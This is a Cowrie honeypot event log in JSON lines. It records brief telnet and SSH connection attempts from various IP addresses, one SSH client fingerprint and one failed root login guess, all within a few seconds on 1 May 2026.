{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":45698,"dst_ip":"159.203.135.109","dst_port":23,"session":"a934fece7298","protocol":"telnet","message":"New connection: 173.249.44.46:45698 (159.203.135.109:23) [session: a934fece7298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:59.010529Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":49752,"dst_ip":"159.203.135.109","dst_port":23,"session":"a080d37d425b","protocol":"telnet","message":"New connection: 82.163.78.83:49752 (159.203.135.109:23) [session: a080d37d425b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:59.026928Z"}
{"eventid":"cowrie.session.closed","duration":30.661381721496582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:59.096189Z","src_ip":"173.249.44.46","session":"8be4efddd15d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:59.330548Z","src_ip":"80.94.92.184","session":"598d5d18bc12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.11249017715454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:59.520730Z","src_ip":"85.208.100.77","session":"98ddd1ab3ed2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49258518218994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:59.534840Z","src_ip":"82.163.78.83","session":"230c36dc32ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":45634,"dst_ip":"10.17.0.5","dst_port":22,"session":"43265a28a5b7","protocol":"ssh","message":"New connection: 103.228.69.212:45634 (10.17.0.5:22) [session: 43265a28a5b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:59.812607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:59.818096Z","src_ip":"103.228.69.212","session":"43265a28a5b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":47028,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a61c1d11a3b","protocol":"telnet","message":"New connection: 173.249.44.46:47028 (159.203.135.109:23) [session: 8a61c1d11a3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:59.861217Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:59.893210Z","src_ip":"187.16.96.250","session":"c23e5dcbee56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.41712999343872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:00.049963Z","src_ip":"82.163.78.83","session":"f626a9d11c6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.054211378097534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:00.055653Z","src_ip":"82.163.78.83","session":"9ae768a7a414","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:00.079088Z","src_ip":"103.228.69.212","session":"43265a28a5b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.49032711982727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:00.091942Z","src_ip":"149.102.133.101","session":"53b8af6d70b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.393795490264893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:00.172743Z","src_ip":"85.208.100.77","session":"9575d0455178","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456..a","message":"login attempt [root/123456..a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:01.040372Z","src_ip":"103.228.69.212","session":"43265a28a5b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.293572664260864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:01.107116Z","src_ip":"81.30.157.18","session":"03d86f0b9880","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.288312911987305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:01.525204Z","src_ip":"82.163.78.83","session":"f65d0a589b68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.243897676467896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:02.039202Z","src_ip":"82.163.78.83","session":"593e5d7bac88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66170835494995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:02.048040Z","src_ip":"82.163.78.83","session":"b66d39be37ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:02.290301Z","src_ip":"103.228.69.212","session":"43265a28a5b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":50268,"dst_ip":"159.203.135.109","dst_port":23,"session":"df3b3a428356","protocol":"telnet","message":"New connection: 37.187.24.227:50268 (159.203.135.109:23) [session: df3b3a428356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:03.095207Z"}
{"eventid":"cowrie.session.closed","duration":31.138481378555298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:03.116832Z","src_ip":"149.102.133.101","session":"97cf4350ce68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.948983907699585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:03.145727Z","src_ip":"46.101.32.143","session":"d3dc9e599515","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":50488,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b054a713e91","protocol":"telnet","message":"New connection: 37.187.24.227:50488 (159.203.135.109:23) [session: 7b054a713e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:03.187203Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46834,"dst_ip":"159.203.135.109","dst_port":23,"session":"852beb086167","protocol":"telnet","message":"New connection: 81.30.157.18:46834 (159.203.135.109:23) [session: 852beb086167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:03.207684Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":54372,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f9fda7e7c23","protocol":"telnet","message":"New connection: 82.163.78.83:54372 (159.203.135.109:23) [session: 4f9fda7e7c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:03.279736Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":33424,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e8d9ed511c2","protocol":"telnet","message":"New connection: 149.102.133.101:33424 (159.203.135.109:23) [session: 2e8d9ed511c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:03.347724Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46840,"dst_ip":"159.203.135.109","dst_port":23,"session":"a823cdbafdc8","protocol":"telnet","message":"New connection: 81.30.157.18:46840 (159.203.135.109:23) [session: a823cdbafdc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:03.787075Z"}
{"eventid":"cowrie.session.closed","duration":31.494102001190186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:03.975959Z","src_ip":"82.163.78.83","session":"e2fa46f6d2a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.862111568450928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:04.047493Z","src_ip":"82.163.78.83","session":"9983d90789ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.714333534240723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:04.074605Z","src_ip":"149.102.133.101","session":"e31fbde48558","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.409242391586304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:04.101728Z","src_ip":"149.102.133.101","session":"0260271e3a4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66658663749695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:04.159479Z","src_ip":"149.102.133.101","session":"a9b23ca61040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":60748,"dst_ip":"159.203.135.109","dst_port":23,"session":"aca54d34ee56","protocol":"telnet","message":"New connection: 46.101.32.143:60748 (159.203.135.109:23) [session: aca54d34ee56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:04.180601Z"}
{"eventid":"cowrie.session.closed","duration":30.904641151428223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:04.208106Z","src_ip":"116.118.250.81","session":"46febe7b24ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":52936,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf09bf0445e6","protocol":"telnet","message":"New connection: 37.187.24.227:52936 (159.203.135.109:23) [session: bf09bf0445e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:04.224516Z"}
{"eventid":"cowrie.session.closed","duration":30.778785228729248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:04.243696Z","src_ip":"85.208.100.77","session":"76e9fb8b952e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":55948,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff9a765a4049","protocol":"telnet","message":"New connection: 82.163.78.83:55948 (159.203.135.109:23) [session: ff9a765a4049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:04.623404Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":56458,"dst_ip":"159.203.135.109","dst_port":23,"session":"e730ddb1c07f","protocol":"telnet","message":"New connection: 82.163.78.83:56458 (159.203.135.109:23) [session: e730ddb1c07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:05.103231Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.202.37.51","src_port":55412,"dst_ip":"10.17.0.5","dst_port":23,"session":"803792b51575","protocol":"telnet","message":"New connection: 160.202.37.51:55412 (10.17.0.5:23) [session: 803792b51575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:05.192301Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":57204,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6521ea568cc","protocol":"telnet","message":"New connection: 82.163.78.83:57204 (159.203.135.109:23) [session: a6521ea568cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:05.726017Z"}
{"eventid":"cowrie.session.closed","duration":30.639990091323853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:06.065633Z","src_ip":"149.102.133.101","session":"34aad7725c5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32461929321289,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:06.104897Z","src_ip":"173.249.44.46","session":"982d940eb635","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":33004,"dst_ip":"159.203.135.109","dst_port":23,"session":"b138b1e347ae","protocol":"telnet","message":"New connection: 85.208.100.77:33004 (159.203.135.109:23) [session: b138b1e347ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:06.336895Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":58270,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1ad0bcd80d0","protocol":"telnet","message":"New connection: 37.187.24.227:58270 (159.203.135.109:23) [session: c1ad0bcd80d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:06.426893Z"}
{"eventid":"cowrie.session.closed","duration":30.924957275390625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:07.085866Z","src_ip":"82.163.78.83","session":"ae6f91b67015","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965367078781128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:07.093515Z","src_ip":"173.249.44.46","session":"a72e97068876","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":35498,"dst_ip":"159.203.135.109","dst_port":23,"session":"008807475910","protocol":"telnet","message":"New connection: 46.101.32.143:35498 (159.203.135.109:23) [session: 008807475910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:07.153294Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":53138,"dst_ip":"159.203.135.109","dst_port":23,"session":"0536adaeb7ff","protocol":"telnet","message":"New connection: 149.102.133.101:53138 (159.203.135.109:23) [session: 0536adaeb7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:07.934018Z"}
{"eventid":"cowrie.session.closed","duration":30.604120016098022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:08.080477Z","src_ip":"82.163.78.83","session":"2bd88a5ab145","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.963008165359497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:08.122506Z","src_ip":"81.30.157.18","session":"5c2d20ecf081","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":53152,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce30fca5c6c9","protocol":"telnet","message":"New connection: 149.102.133.101:53152 (159.203.135.109:23) [session: ce30fca5c6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:08.220580Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":53166,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7be8018e7fc","protocol":"telnet","message":"New connection: 149.102.133.101:53166 (159.203.135.109:23) [session: c7be8018e7fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:08.269957Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":60194,"dst_ip":"159.203.135.109","dst_port":23,"session":"957364569bf6","protocol":"telnet","message":"New connection: 82.163.78.83:60194 (159.203.135.109:23) [session: 957364569bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:08.486367Z"}
{"eventid":"cowrie.session.closed","duration":30.873189687728882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:09.049585Z","src_ip":"37.187.24.227","session":"b58b0992d637","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":32886,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f5daed310bd","protocol":"telnet","message":"New connection: 82.163.78.83:32886 (159.203.135.109:23) [session: 4f5daed310bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:09.179064Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":53174,"dst_ip":"159.203.135.109","dst_port":23,"session":"e55edf90e8f7","protocol":"telnet","message":"New connection: 149.102.133.101:53174 (159.203.135.109:23) [session: e55edf90e8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:09.350442Z"}
{"eventid":"cowrie.session.closed","duration":30.984459400177002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:10.064881Z","src_ip":"82.163.78.83","session":"a07a6b8caa3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":40736,"dst_ip":"159.203.135.109","dst_port":23,"session":"b603f1326cf5","protocol":"telnet","message":"New connection: 85.208.100.77:40736 (159.203.135.109:23) [session: b603f1326cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:10.116772Z"}
{"eventid":"cowrie.session.closed","duration":30.973042249679565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:10.123775Z","src_ip":"173.249.44.46","session":"0137c1356540","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":34088,"dst_ip":"159.203.135.109","dst_port":23,"session":"e917005c0e33","protocol":"telnet","message":"New connection: 82.163.78.83:34088 (159.203.135.109:23) [session: e917005c0e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:10.222793Z"}
{"eventid":"cowrie.session.closed","duration":31.251800775527954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:10.382864Z","src_ip":"81.30.157.18","session":"f7094c33fcd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":33284,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf5af074afa2","protocol":"telnet","message":"New connection: 209.126.84.114:33284 (159.203.135.109:23) [session: bf5af074afa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:10.526325Z"}
{"eventid":"cowrie.session.closed","duration":30.90469217300415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:11.038826Z","src_ip":"82.163.78.83","session":"dbcd9d6ce8f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53508472442627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:11.076902Z","src_ip":"149.102.133.101","session":"f652aa926c51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41118097305298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:11.089310Z","src_ip":"173.249.44.46","session":"b8a61b9128b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.900240898132324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:11.201688Z","src_ip":"85.208.100.77","session":"220d567ef27c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":35936,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1c472110dfb","protocol":"telnet","message":"New connection: 82.163.78.83:35936 (159.203.135.109:23) [session: a1c472110dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:11.819793Z"}
{"eventid":"cowrie.session.closed","duration":30.517926454544067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:12.150798Z","src_ip":"82.163.78.83","session":"67ba8e0dfb37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14583468437195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:12.159506Z","src_ip":"37.187.24.227","session":"72df88c542eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":36368,"dst_ip":"159.203.135.109","dst_port":23,"session":"900f1053bb0c","protocol":"telnet","message":"New connection: 82.163.78.83:36368 (159.203.135.109:23) [session: 900f1053bb0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:12.202624Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":33026,"dst_ip":"159.203.135.109","dst_port":23,"session":"086be420f7cd","protocol":"telnet","message":"New connection: 173.249.44.46:33026 (159.203.135.109:23) [session: 086be420f7cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:12.222263Z"}
{"eventid":"cowrie.session.closed","duration":30.493526697158813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:12.239942Z","src_ip":"81.30.157.18","session":"ae45c0b838d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":49638,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fe88eca0586","protocol":"telnet","message":"New connection: 103.115.172.252:49638 (10.17.0.5:23) [session: 3fe88eca0586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:12.315320Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":53182,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ed50bd1f0bd","protocol":"telnet","message":"New connection: 149.102.133.101:53182 (159.203.135.109:23) [session: 4ed50bd1f0bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:12.949938Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":47200,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8a0c9151ed3","protocol":"telnet","message":"New connection: 85.208.100.77:47200 (159.203.135.109:23) [session: e8a0c9151ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:13.009688Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":47294,"dst_ip":"159.203.135.109","dst_port":23,"session":"e153891213b7","protocol":"telnet","message":"New connection: 85.208.100.77:47294 (159.203.135.109:23) [session: e153891213b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:13.064955Z"}
